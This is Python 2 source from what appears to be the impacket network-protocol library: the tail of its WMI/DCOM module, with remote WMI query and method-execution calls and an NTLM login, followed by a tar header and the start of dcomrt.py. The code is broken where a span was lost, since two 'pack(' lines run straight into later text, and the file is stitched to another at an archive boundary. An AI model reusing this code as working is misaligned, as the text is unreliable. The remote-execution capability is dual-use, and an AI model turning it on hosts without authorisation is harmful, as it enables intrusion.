encodingUnit['ObjectBlock']['InstanceType']['InstanceHeap']['HeapItem'] = instanceHeap
encodingUnit['ObjectBlock']['InstanceType']['EncodingLength'] = len(encodingUnit['ObjectBlock']['InstanceType'])
encodingUnit['ObjectBlock']['InstanceType']['CurrentClass'] = currentClass
encodingUnit['ObjectEncodingLength'] = len(encodingUnit['ObjectBlock'])
#encodingUnit.dump()
#ENCODING_UNIT(str(encodingUnit)).dump()
objRef['pObjectData'] = encodingUnit
return objRef
def SpawnInstance(self):
# Doing something similar to:
# http://msdn.microsoft.com/en-us/library/aa391458(v=vs.85).aspx
#
if self.encodingUnit['ObjectBlock'].isInstance() is False:
# We need to convert some things to transform a class into an instance
encodingUnit = ENCODING_UNIT()
instanceData = OBJECT_BLOCK()
instanceData.structure += OBJECT_BLOCK.decoration
instanceData.structure += OBJECT_BLOCK.instanceType
instanceData['ObjectFlags'] = 6
instanceData['Decoration'] = str(self.encodingUnit['ObjectBlock']['Decoration'])
instanceType = INSTANCE_TYPE()
instanceType['CurrentClass'] = ''
# Let's create the heap for the parameters
instanceHeap = ''
valueTable = ''
parametersClass = ENCODED_STRING()
parametersClass['Character'] = self.getClassName()
instanceHeap += str(parametersClass)
curHeapPtr = len(instanceHeap)
ndTable = 0
properties = self.getProperties()
# Let's initialize the values
for i, propName in enumerate(properties):
propRecord = properties[propName]
pType = propRecord['type'] & (~(CIM_ARRAY_FLAG|Inherited))
if propRecord['type'] & CIM_ARRAY_FLAG:
# Not yet ready
#print paramDefinition
#raise
packStr = HEAPREF[:-2]
else:
packStr = CIM_TYPES_REF[pType][:-2]
if propRecord['type'] & CIM_ARRAY_FLAG:
valueTable += pack(packStr, 0)
elif pType not in (CIM_TYPE_ENUM.CIM_TYPE_STRING.value, CIM_TYPE_ENUM.CIM_TYPE_DATETIME.value,
CIM_TYPE_ENUM.CIM_TYPE_REFERENCE.value, CIM_TYPE_ENUM.CIM_TYPE_OBJECT.value):
valueTable += pack(packStr, 0)
elif pType == CIM_TYPE_ENUM.CIM_TYPE_OBJECT.value:
# For now we just pack None
valueTable += '\x00'*4
# The default property value is NULL, and it is
# inherited from a parent class.
ndTable |= 3 << (2*i)
else:
strIn = ENCODED_STRING()
strIn['Character'] = ''
valueTable += pack('>= 8
instanceType['NdTable_ValueTable'] = packedNdTable + valueTable
instanceType['InstanceQualifierSet'] = '\x04\x00\x00\x00\x01'
instanceType['InstanceHeap'] = HEAP()
instanceType['InstanceHeap']['HeapItem'] = instanceHeap
instanceType['InstanceHeap']['HeapLength'] = len(instanceHeap) | 0x80000000
instanceType['EncodingLength'] = len(instanceType)
instanceType['CurrentClass'] = self.encodingUnit['ObjectBlock']['ClassType']['CurrentClass']['ClassPart']
instanceData['InstanceType'] = str(instanceType)
encodingUnit['ObjectBlock'] = instanceData
encodingUnit['ObjectEncodingLength'] = len(instanceData)
#ENCODING_UNIT(str(encodingUnit)).dump()
objRefCustomIn = OBJREF_CUSTOM()
objRefCustomIn['iid'] = self._iid
objRefCustomIn['clsid'] = CLSID_WbemClassObject
objRefCustomIn['cbExtension'] = 0
objRefCustomIn['ObjectReferenceSize'] = len(encodingUnit)
objRefCustomIn['pObjectData'] = encodingUnit
# There's gotta be a better way to do this
# I will reimplement this stuff once I know it works
import copy
newObj = copy.deepcopy(self)
newObj.set_objRef(str(objRefCustomIn))
newObj.process_interface(str(objRefCustomIn))
newObj.encodingUnit = ENCODING_UNIT(str(encodingUnit))
newObj.parseObject()
if newObj.encodingUnit['ObjectBlock'].isInstance() is False:
newObj.createMethods(newObj.getClassName(), newObj.getMethods())
else:
newObj.createProperties(newObj.getProperties())
return newObj
else:
return self
def createProperties(self, properties):
for property in properties:
setattr(self, property, properties[property]['value'])
def createMethods(self, classOrInstance, methods):
class FunctionPool:
def __init__(self,function):
self.function = function
def __getitem__(self,item):
return partial(self.function,item)
@FunctionPool
def innerMethod(staticArgs, *args):
classOrInstance = staticArgs[0]
methodDefinition = staticArgs[1]
if methodDefinition['InParams'] is not None:
if len(args) != len(methodDefinition['InParams']):
LOG.error("Function called with %d parameters instead of %d!" % (len(args), len(methodDefinition['InParams'])))
return None
# In Params
encodingUnit = ENCODING_UNIT()
inParams = OBJECT_BLOCK()
inParams.structure += OBJECT_BLOCK.instanceType
inParams['ObjectFlags'] = 2
inParams['Decoration'] = ''
instanceType = INSTANCE_TYPE()
instanceType['CurrentClass'] = ''
instanceType['InstanceQualifierSet'] = '\x04\x00\x00\x00\x01'
# Let's create the heap for the parameters
instanceHeap = ''
valueTable = ''
parametersClass = ENCODED_STRING()
parametersClass['Character'] = '__PARAMETERS'
instanceHeap += str(parametersClass)
curHeapPtr = len(instanceHeap)
ndTable = 0
for i in range(len(args)):
paramDefinition = methodDefinition['InParams'].values()[i]
inArg = args[i]
pType = paramDefinition['type'] & (~(CIM_ARRAY_FLAG|Inherited))
if paramDefinition['type'] & CIM_ARRAY_FLAG:
# Not yet ready
#print paramDefinition
#raise
packStr = HEAPREF[:-2]
else:
packStr = CIM_TYPES_REF[pType][:-2]
if paramDefinition['type'] & CIM_ARRAY_FLAG:
if inArg is None:
valueTable += pack(packStr, 0)
else:
# ToDo
# Not yet ready
raise
elif pType not in (CIM_TYPE_ENUM.CIM_TYPE_STRING.value, CIM_TYPE_ENUM.CIM_TYPE_DATETIME.value,
CIM_TYPE_ENUM.CIM_TYPE_REFERENCE.value, CIM_TYPE_ENUM.CIM_TYPE_OBJECT.value):
valueTable += pack(packStr, inArg)
elif pType == CIM_TYPE_ENUM.CIM_TYPE_OBJECT.value:
# For now we just pack None
valueTable += '\x00'*4
# The default property value is NULL, and it is
# inherited from a parent class.
if inArg is None:
ndTable |= 3 << (2*i)
else:
strIn = ENCODED_STRING()
strIn['Character'] = inArg
valueTable += pack('>= 8
instanceType['NdTable_ValueTable'] = packedNdTable + valueTable
heapRecord = HEAP()
heapRecord['HeapLength'] = len(instanceHeap) | 0x80000000
heapRecord['HeapItem'] = instanceHeap
instanceType['InstanceHeap'] = heapRecord
instanceType['EncodingLength'] = len(instanceType)
inMethods = methodDefinition['InParamsRaw']['ClassType']['CurrentClass']['ClassPart']
inMethods['ClassHeader']['EncodingLength'] = len(
str(methodDefinition['InParamsRaw']['ClassType']['CurrentClass']['ClassPart']))
instanceType['CurrentClass'] = inMethods
inParams['InstanceType'] = str(instanceType)
encodingUnit['ObjectBlock'] = inParams
encodingUnit['ObjectEncodingLength'] = len(inParams)
objRefCustomIn = OBJREF_CUSTOM()
objRefCustomIn['iid'] = self._iid
objRefCustomIn['clsid'] = CLSID_WbemClassObject
objRefCustomIn['cbExtension'] = 0
objRefCustomIn['ObjectReferenceSize'] = len(encodingUnit)
objRefCustomIn['pObjectData'] = encodingUnit
else:
objRefCustomIn = NULL
### OutParams
encodingUnit = ENCODING_UNIT()
outParams = OBJECT_BLOCK()
outParams.structure += OBJECT_BLOCK.instanceType
outParams['ObjectFlags'] = 2
outParams['Decoration'] = ''
instanceType = INSTANCE_TYPE()
instanceType['CurrentClass'] = ''
instanceType['NdTable_ValueTable'] = ''
instanceType['InstanceQualifierSet'] = ''
instanceType['InstanceHeap'] = ''
instanceType['EncodingLength'] = len(instanceType)
instanceType['CurrentClass'] = str(methodDefinition['OutParamsRaw']['ClassType']['CurrentClass']['ClassPart'])
outParams['InstanceType'] = str(instanceType)
encodingUnit['ObjectBlock'] = outParams
encodingUnit['ObjectEncodingLength'] = len(outParams)
objRefCustom = OBJREF_CUSTOM()
objRefCustom['iid'] = self._iid
objRefCustom['clsid'] = CLSID_WbemClassObject
objRefCustom['cbExtension'] = 0
objRefCustom['ObjectReferenceSize'] = len(encodingUnit)
objRefCustom['pObjectData'] = encodingUnit
try:
return self.__iWbemServices.ExecMethod(classOrInstance, methodDefinition['name'], pInParams = objRefCustomIn )
#return self.__iWbemServices.ExecMethod('Win32_Process.Handle="436"', methodDefinition['name'],
# pInParams=objRefCustomIn).getObject().ctCurrent['properties']
except Exception, e:
#import traceback
#print traceback.print_exc()
LOG.error(str(e))
for methodName in methods:
innerMethod.__name__ = methodName
setattr(self,innerMethod.__name__,innerMethod[classOrInstance,methods[methodName]])
#methods = self.encodingUnit['ObjectBlock']
class IWbemLoginClientID(IRemUnknown):
def __init__(self, interface):
IRemUnknown.__init__(self,interface)
self._iid = IID_IWbemLoginClientID
def SetClientInfo(self, wszClientMachine, lClientProcId = 1234):
request = IWbemLoginClientID_SetClientInfo()
request['wszClientMachine'] = checkNullString(wszClientMachine)
request['lClientProcId'] = lClientProcId
request['lReserved'] = 0
resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
return resp
class IWbemLoginHelper(IRemUnknown):
def __init__(self, interface):
IRemUnknown.__init__(self,interface)
self._iid = IID_IWbemLoginHelper
def SetEvent(self, sEventToSet):
request = IWbemLoginHelper_SetEvent()
request['sEventToSet'] = sEventToSet
resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
resp.dump()
return resp
class IWbemWCOSmartEnum(IRemUnknown):
def __init__(self, interface):
IRemUnknown.__init__(self,interface)
self._iid = IID_IWbemWCOSmartEnum
def Next(self, proxyGUID, lTimeout, uCount):
request = IWbemWCOSmartEnum_Next()
request['proxyGUID'] = proxyGUID
request['lTimeout'] = lTimeout
request['uCount'] = uCount
resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
resp.dump()
return resp
class IWbemFetchSmartEnum(IRemUnknown):
def __init__(self, interface):
IRemUnknown.__init__(self,interface)
self._iid = IID_IWbemFetchSmartEnum
def GetSmartEnum(self, lTimeout):
request = IWbemFetchSmartEnum_GetSmartEnum()
resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
resp.dump()
return resp
class IWbemCallResult(IRemUnknown):
def __init__(self, interface):
IRemUnknown.__init__(self,interface)
self._iid = IID_IWbemCallResult
def GetResultObject(self, lTimeout):
request = IWbemCallResult_GetResultObject()
request['lTimeout'] = lTimeout
resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
resp.dump()
return resp
def GetResultString(self, lTimeout):
request = IWbemCallResult_GetResultString()
request['lTimeout'] = lTimeout
resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
resp.dump()
return resp
def GetResultServices(self, lTimeout):
request = IWbemCallResult_GetResultServices()
request['lTimeout'] = lTimeout
resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
resp.dump()
return resp
def GetCallStatus(self, lTimeout):
request = IWbemCallResult_GetCallStatus()
request['lTimeout'] = lTimeout
resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
return resp['plStatus']
class IEnumWbemClassObject(IRemUnknown):
def __init__(self, interface, iWbemServices = None):
IRemUnknown.__init__(self,interface)
self._iid = IID_IEnumWbemClassObject
self.__iWbemServices = iWbemServices
def Reset(self):
request = IEnumWbemClassObject_Reset()
resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
resp.dump()
return resp
def Next(self, lTimeout, uCount):
request = IEnumWbemClassObject_Next()
request['lTimeout'] = lTimeout
request['uCount'] = uCount
resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
interfaces = list()
for interface in resp['apObjects']:
interfaces.append(IWbemClassObject(
INTERFACE(self.get_cinstance(), ''.join(interface['abData']), self.get_ipidRemUnknown(),
oxid=self.get_oxid(), target=self.get_target()), self.__iWbemServices))
return interfaces
def NextAsync(self, lTimeout, pSink):
request = IEnumWbemClassObject_NextAsync()
request['lTimeout'] = lTimeout
request['pSink'] = pSink
resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
resp.dump()
return resp
def Clone(self):
request = IEnumWbemClassObject_Clone()
resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
resp.dump()
return resp
def Skip(self, lTimeout, uCount):
request = IEnumWbemClassObject_Skip()
request['lTimeout'] = lTimeout
request['uCount'] = uCount
resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
resp.dump()
return resp
class IWbemServices(IRemUnknown):
def __init__(self, interface):
IRemUnknown.__init__(self,interface)
self._iid = IID_IWbemServices
def OpenNamespace(self, strNamespace, lFlags=0, pCtx = NULL):
request = IWbemServices_OpenNamespace()
request['strNamespace']['asData'] = strNamespace
request['lFlags'] = lFlags
request['pCtx'] = pCtx
resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
resp.dump()
return resp
def CancelAsyncCall(self,IWbemObjectSink ):
request = IWbemServices_CancelAsyncCall()
request['IWbemObjectSink'] = IWbemObjectSink
resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
return resp['ErrorCode']
def QueryObjectSink(self):
request = IWbemServices_QueryObjectSink()
request['lFlags'] = 0
resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
return INTERFACE(self.get_cinstance(), ''.join(resp['ppResponseHandler']['abData']), self.get_ipidRemUnknown(),
target=self.get_target())
def GetObject(self, strObjectPath, lFlags=0, pCtx=NULL):
request = IWbemServices_GetObject()
request['strObjectPath']['asData'] = strObjectPath
request['lFlags'] = lFlags
request['pCtx'] = pCtx
resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
ppObject = IWbemClassObject(
INTERFACE(self.get_cinstance(), ''.join(resp['ppObject']['abData']), self.get_ipidRemUnknown(),
oxid=self.get_oxid(), target=self.get_target()), self)
if resp['ppCallResult'] != NULL:
ppcallResult = IWbemCallResult(
INTERFACE(self.get_cinstance(), ''.join(resp['ppObject']['abData']), self.get_ipidRemUnknown(),
target=self.get_target()))
else:
ppcallResult = NULL
return ppObject, ppcallResult
def GetObjectAsync(self, strNamespace, lFlags=0, pCtx = NULL):
request = IWbemServices_GetObjectAsync()
request['strObjectPath']['asData'] = checkNullString(strNamespace)
request['lFlags'] = lFlags
request['pCtx'] = pCtx
resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
resp.dump()
return resp
def PutClass(self, pObject, lFlags=0, pCtx=NULL):
request = IWbemServices_PutClass()
request['pObject'] = pObject
request['lFlags'] = lFlags
request['pCtx'] = pCtx
resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
resp.dump()
return resp
def PutClassAsync(self, pObject, lFlags=0, pCtx=NULL):
request = IWbemServices_PutClassAsync()
request['pObject'] = pObject
request['lFlags'] = lFlags
request['pCtx'] = pCtx
resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
resp.dump()
return resp
def DeleteClass(self, strClass, lFlags=0, pCtx=NULL):
request = IWbemServices_DeleteClass()
request['strClass']['asData'] = checkNullString(strClass)
request['lFlags'] = lFlags
request['pCtx'] = pCtx
resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
resp.dump()
return resp
def DeleteClassAsync(self, strClass, lFlags=0, pCtx=NULL):
request = IWbemServices_DeleteClassAsync()
request['strClass']['asData'] = checkNullString(strClass)
request['lFlags'] = lFlags
request['pCtx'] = pCtx
resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
resp.dump()
return resp
def CreateClassEnum(self, strSuperClass, lFlags=0, pCtx=NULL):
request = IWbemServices_CreateClassEnum()
request['strSuperClass']['asData'] = checkNullString(strSuperClass)
request['lFlags'] = lFlags
request['pCtx'] = pCtx
resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
resp.dump()
return resp
def CreateClassEnumAsync(self, strSuperClass, lFlags=0, pCtx=NULL):
request = IWbemServices_CreateClassEnumAsync()
request['strSuperClass']['asData'] = checkNullString(strSuperClass)
request['lFlags'] = lFlags
request['pCtx'] = pCtx
resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
resp.dump()
return resp
def PutInstance(self, pInst, lFlags=0, pCtx=NULL):
request = IWbemServices_PutInstance()
if pInst is NULL:
request['pInst'] = pInst
else:
request['pInst']['ulCntData'] = len(pInst)
request['pInst']['abData'] = list(str(pInst))
request['lFlags'] = lFlags
request['pCtx'] = pCtx
resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
return IWbemCallResult(
INTERFACE(self.get_cinstance(), ''.join(resp['ppCallResult']['abData']), self.get_ipidRemUnknown(),
target=self.get_target()))
def PutInstanceAsync(self, pInst, lFlags=0, pCtx=NULL):
request = IWbemServices_PutInstanceAsync()
request['pInst'] = pInst
request['lFlags'] = lFlags
request['pCtx'] = pCtx
resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
resp.dump()
return resp
def DeleteInstance(self, strObjectPath, lFlags=0, pCtx=NULL):
request = IWbemServices_DeleteInstance()
request['strObjectPath']['asData'] = checkNullString(strObjectPath)
request['lFlags'] = lFlags
request['pCtx'] = pCtx
resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
return IWbemCallResult(
INTERFACE(self.get_cinstance(), ''.join(resp['ppCallResult']['abData']), self.get_ipidRemUnknown(),
target=self.get_target()))
def DeleteInstanceAsync(self, strObjectPath, lFlags=0, pCtx=NULL):
request = IWbemServices_DeleteInstanceAsync()
request['strObjectPath']['asData'] = checkNullString(strObjectPath)
request['lFlags'] = lFlags
request['pCtx'] = pCtx
resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
resp.dump()
return resp
def CreateInstanceEnum(self, strSuperClass, lFlags=0, pCtx=NULL):
request = IWbemServices_CreateInstanceEnum()
request['strSuperClass']['asData'] = strSuperClass
request['lFlags'] = lFlags
request['pCtx'] = pCtx
resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
resp.dump()
return IEnumWbemClassObject(
INTERFACE(self.get_cinstance(), ''.join(resp['ppEnum']['abData']), self.get_ipidRemUnknown(),
target=self.get_target()))
def CreateInstanceEnumAsync(self, strSuperClass, lFlags=0, pCtx=NULL):
request = IWbemServices_CreateInstanceEnumAsync()
request['strSuperClass']['asData'] = checkNullString(strSuperClass)
request['lFlags'] = lFlags
request['pCtx'] = pCtx
resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
resp.dump()
return resp
#def ExecQuery(self, strQuery, lFlags=WBEM_QUERY_FLAG_TYPE.WBEM_FLAG_PROTOTYPE, pCtx=NULL):
def ExecQuery(self, strQuery, lFlags=0, pCtx=NULL):
request = IWbemServices_ExecQuery()
request['strQueryLanguage']['asData'] = checkNullString('WQL')
request['strQuery']['asData'] = checkNullString(strQuery)
request['lFlags'] = lFlags
request['pCtx'] = pCtx
resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
return IEnumWbemClassObject(
INTERFACE(self.get_cinstance(), ''.join(resp['ppEnum']['abData']), self.get_ipidRemUnknown(),
target=self.get_target()), self)
def ExecQueryAsync(self, strQuery, lFlags=0, pCtx=NULL):
request = IWbemServices_ExecQueryAsync()
request['strQueryLanguage']['asData'] = checkNullString('WQL')
request['strQuery']['asData'] = checkNullString(strQuery)
request['lFlags'] = lFlags
request['pCtx'] = pCtx
resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
resp.dump()
return resp
def ExecNotificationQuery(self, strQuery, lFlags=0, pCtx=NULL):
request = IWbemServices_ExecNotificationQuery()
request['strQueryLanguage']['asData'] = checkNullString('WQL')
request['strQuery']['asData'] = checkNullString(strQuery)
request['lFlags'] = lFlags
request['pCtx'] = pCtx
resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
return IEnumWbemClassObject(
INTERFACE(self.get_cinstance(), ''.join(resp['ppEnum']['abData']), self.get_ipidRemUnknown(),
target=self.get_target()), self)
def ExecNotificationQueryAsync(self, strQuery, lFlags=0, pCtx=NULL):
request = IWbemServices_ExecNotificationQueryAsync()
request['strQueryLanguage']['asData'] = checkNullString('WQL')
request['strQuery']['asData'] = checkNullString(strQuery)
request['lFlags'] = lFlags
request['pCtx'] = pCtx
resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
resp.dump()
return resp
def ExecMethod(self, strObjectPath, strMethodName, lFlags=0, pCtx=NULL, pInParams=NULL, ppOutParams = NULL):
request = IWbemServices_ExecMethod()
request['strObjectPath']['asData'] = checkNullString(strObjectPath)
request['strMethodName']['asData'] = checkNullString(strMethodName)
request['lFlags'] = lFlags
request['pCtx'] = pCtx
if pInParams is NULL:
request['pInParams'] = pInParams
else:
request['pInParams']['ulCntData'] = len(pInParams)
request['pInParams']['abData'] = list(str(pInParams))
request.fields['ppCallResult'] = NULL
if ppOutParams is NULL:
request.fields['ppOutParams'].fields['Data'] = NULL
else:
request['ppOutParams']['ulCntData'] = len(str(ppOutParams))
request['ppOutParams']['abData'] = list(str(ppOutParams))
resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
return IWbemClassObject(
INTERFACE(self.get_cinstance(), ''.join(resp['ppOutParams']['abData']), self.get_ipidRemUnknown(),
oxid=self.get_oxid(), target=self.get_target()))
def ExecMethodAsync(self, strObjectPath, strMethodName, lFlags=0, pCtx=NULL, pInParams=NULL):
request = IWbemServices_ExecMethodAsync()
request['strObjectPath']['asData'] = checkNullString(strObjectPath)
request['strMethodName']['asData'] = checkNullString(strMethodName)
request['lFlags'] = lFlags
request['pCtx'] = pCtx
request['pInParams'] = pInParams
resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
resp.dump()
return resp
class IWbemLevel1Login(IRemUnknown):
def __init__(self, interface):
IRemUnknown.__init__(self,interface)
self._iid = IID_IWbemLevel1Login
def EstablishPosition(self):
request = IWbemLevel1Login_EstablishPosition()
request['reserved1'] = NULL
request['reserved2'] = 0
resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
return resp['LocaleVersion']
def RequestChallenge(self):
request = IWbemLevel1Login_RequestChallenge()
request['reserved1'] = NULL
request['reserved2'] = NULL
resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
return resp['reserved3']
def WBEMLogin(self):
request = IWbemLevel1Login_WBEMLogin()
request['reserved1'] = NULL
request['reserved2'] = NULL
request['reserved3'] = 0
request['reserved4'] = NULL
resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
return resp['reserved5']
def NTLMLogin(self, wszNetworkResource, wszPreferredLocale, pCtx):
request = IWbemLevel1Login_NTLMLogin()
request['wszNetworkResource'] = checkNullString(wszNetworkResource)
request['wszPreferredLocale'] = checkNullString(wszPreferredLocale)
request['lFlags'] = 0
request['pCtx'] = pCtx
resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
return IWbemServices(
INTERFACE(self.get_cinstance(), ''.join(resp['ppNamespace']['abData']), self.get_ipidRemUnknown(),
target=self.get_target()))
if __name__ == '__main__':
# Example 1
baseClass = 'xV4\x12\xd0\x00\x00\x00\x05\x00DPRAVAT-DEV\x00\x00ROOT\x00\x1d\x00\x00\x00\x00\xff\xff\xff\xff\x00\x00\x00\x00\x04\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80f\x00\x00\x00\x00\x00\x00\x00\x00\x05\x00\x00\x00\x04\x00\x00\x00\x04\x00\x00\x00\x01\x00\x00\x00\x06\x00\x00\x00\n\x00\x00\x00\x05\xff\xff\xff\xff<\x00\x00\x80\x00Base\x00\x00Id\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1c\x00\x00\x00\n\x00\x00\x80\x03\x08\x00\x00\x004\x00\x00\x00\x01\x00\x00\x80\x13\x0b\x00\x00\x00\xff\xff\x00sint32\x00\x0c\x00\x00\x00\x00\x004\x00\x00\x00\x00\x80\x00\x80\x13\x0b\x00\x00\x00\xff\xff\x00sint32\x00'
#encodingUnit = EncodingUnit(baseClass)
#encodingUnit.dump()
#encodingUnit['ObjectBlock'].printInformation()
#print "LEN ", len(baseClass), len(encodingUnit)
myClass = "xV4\x12.\x02\x00\x00\x05\x00DPRAVAT-DEV\x00\x00ROOT\x00f\x00\x00\x00\x00\x00\x00\x00\x00\x05\x00\x00\x00\x04\x00\x00\x00\x04\x00\x00\x00\x01\x00\x00\x00\x06\x00\x00\x00\n\x00\x00\x00\x05\xff\xff\xff\xff<\x00\x00\x80\x00Base\x00\x00Id\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1c\x00\x00\x00\n\x00\x00\x80\x03\x08\x00\x00\x004\x00\x00\x00\x01\x00\x00\x80\x13\x0b\x00\x00\x00\xff\xff\x00sint32\x00\x0c\x00\x00\x00\x00\x004\x00\x00\x00\x00\x80v\x01\x00\x00\x00\x00\x00\x00\x00\x11\x00\x00\x00\x0e\x00\x00\x00\x00Base\x00\x06\x00\x00\x00\x11\x00\x00\x00\t\x00\x00\x00\x00\x08\x00\x00\x00\x16\x00\x00\x00\x04\x00\x00\x00'\x00\x00\x00.\x00\x00\x00U\x00\x00\x00\\\x00\x00\x00\x99\x00\x00\x00\xa0\x00\x00\x00\xc7\x00\x00\x00\xcb\x00\x00\x00G\xff\xff\xff\xff\xff\xff\xff\xff\xfd\x00\x00\x00\xff\xff\xff\xff\x11\x01\x00\x80\x00MyClass\x00\x00Description\x00\x00MyClass Example\x00\x00Array\x00\x13 \x00\x00\x03\x00\x0c\x00\x00\x00\x01\x00\x00\x00\x11\x00\x00\x00\n\x00\x00\x80\x03\x08\x00\x00\x00M\x00\x00\x00\x00uint32\x00\x00Data1\x00\x08\x00\x00\x00\x01\x00\x04\x00\x00\x00\x01\x00\x00\x00'\x00\x00\x00\n\x00\x00\x80\x03\x08\x00\x00\x00\x91\x00\x00\x00\x03\x00\x00\x80\x00\x0b\x00\x00\x00\xff\xff\x04\x00\x00\x80\x00\x0b\x00\x00\x00\xff\xff\x00string\x00\x00Data2\x00\x08\x00\x00\x00\x02\x00\x08\x00\x00\x00\x01\x00\x00\x00\x11\x00\x00\x00\n\x00\x00\x80\x03\x08\x00\x00\x00\xbf\x00\x00\x00\x00string\x00\x00Id\x00\x03@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1c\x00\x00\x00\n\x00\x00\x80#\x08\x00\x00\x00\xf5\x00\x00\x00\x01\x00\x00\x803\x0b\x00\x00\x00\xff\xff\x00sint32\x00\x00defaultValue\x00\x00\x00\x00\x00\x00\x00\x0c\x00\x00\x00\x00\x00\x00s\x00\x00\x00\x802\x00\x00defaultValue\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x00\x00\x00\x00"
#hexdump(myClass)
#encodingUnit = EncodingUnit(myClass)
#print "LEN ", len(myClass), len(encodingUnit)
#encodingUnit.dump()
#encodingUnit['ObjectBlock'].printInformation()
instanceMyClass = "xV4\x12\xd3\x01\x00\x00\x06\x00DPRAVAT-DEV\x00\x00ROOT\x00v\x01\x00\x00\x00\x00\x00\x00\x00\x11\x00\x00\x00\x0e\x00\x00\x00\x00Base\x00\x06\x00\x00\x00\x11\x00\x00\x00\t\x00\x00\x00\x00\x08\x00\x00\x00\x16\x00\x00\x00\x04\x00\x00\x00'\x00\x00\x00.\x00\x00\x00U\x00\x00\x00\\\x00\x00\x00\x99\x00\x00\x00\xa0\x00\x00\x00\xc7\x00\x00\x00\xcb\x00\x00\x00G\xff\xff\xff\xff\xff\xff\xff\xff\xfd\x00\x00\x00\xff\xff\xff\xff\x11\x01\x00\x80\x00MyClass\x00\x00Description\x00\x00MyClass Example\x00\x00Array\x00\x13 \x00\x00\x03\x00\x0c\x00\x00\x00\x01\x00\x00\x00\x11\x00\x00\x00\n\x00\x00\x80\x03\x08\x00\x00\x00M\x00\x00\x00\x00uint32\x00\x00Data1\x00\x08\x00\x00\x00\x01\x00\x04\x00\x00\x00\x01\x00\x00\x00'\x00\x00\x00\n\x00\x00\x80\x03\x08\x00\x00\x00\x91\x00\x00\x00\x03\x00\x00\x80\x00\x0b\x00\x00\x00\xff\xff\x04\x00\x00\x80\x00\x0b\x00\x00\x00\xff\xff\x00string\x00\x00Data2\x00\x08\x00\x00\x00\x02\x00\x08\x00\x00\x00\x01\x00\x00\x00\x11\x00\x00\x00\n\x00\x00\x80\x03\x08\x00\x00\x00\xbf\x00\x00\x00\x00string\x00\x00Id\x00\x03@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1c\x00\x00\x00\n\x00\x00\x80#\x08\x00\x00\x00\xf5\x00\x00\x00\x01\x00\x00\x803\x0b\x00\x00\x00\xff\xff\x00sint32\x00\x00defaultValue\x00\x00\x00\x00\x00\x00\x00I\x00\x00\x00\x00\x00\x00\x00\x00 {\x00\x00\x00\x19\x00\x00\x00\x00\x00\x00\x00\t\x00\x00\x00\x04\x00\x00\x00\x01&\x00\x00\x80\x00MyClass\x00\x03\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x03\x00\x00\x00\x00StringField\x00"
#encodingUnit = EncodingUnit(instanceMyClass)
#encodingUnit.dump()
#encodingUnit['ObjectBlock'].printInformation()
impacket-0.9.15/impacket/dcerpc/v5/dcomrt.py 0000600 0000765 0000000 00000202207 12734531507 020705 0 ustar beto wheel 0000000 0000000 # Copyright (c) 2003-2016 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Author: Alberto Solino (@agsolino)
#
# Description:
# [MS-DCOM] Interface implementation
#
# Best way to learn how to use these calls is to grab the protocol standard
# so you understand what the call does, and then read the test case located
# at https://github.com/CoreSecurity/impacket/tree/master/impacket/testcases/SMB_RPC
#
# Some calls have helper functions, which makes it even easier to use.
# They are located at the end of this file.
# Helper functions start with "h".
# There are test cases for them too.
#
# ToDo:
# [X] Use the same DCE connection for all the calls. Right now is connecting to the remote machine
# for each call, making it slower.
#
# [X] Implement a ping mechanism, otherwise the garbage collector at the server shuts down the objects if
# not used, returning RPC_E_DISCONNECTED
#
import socket
from struct import pack
from threading import Timer, currentThread
from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT, NDRPOINTER, NDRUniConformantArray, NDRTLSTRUCT, UNKNOWNDATA
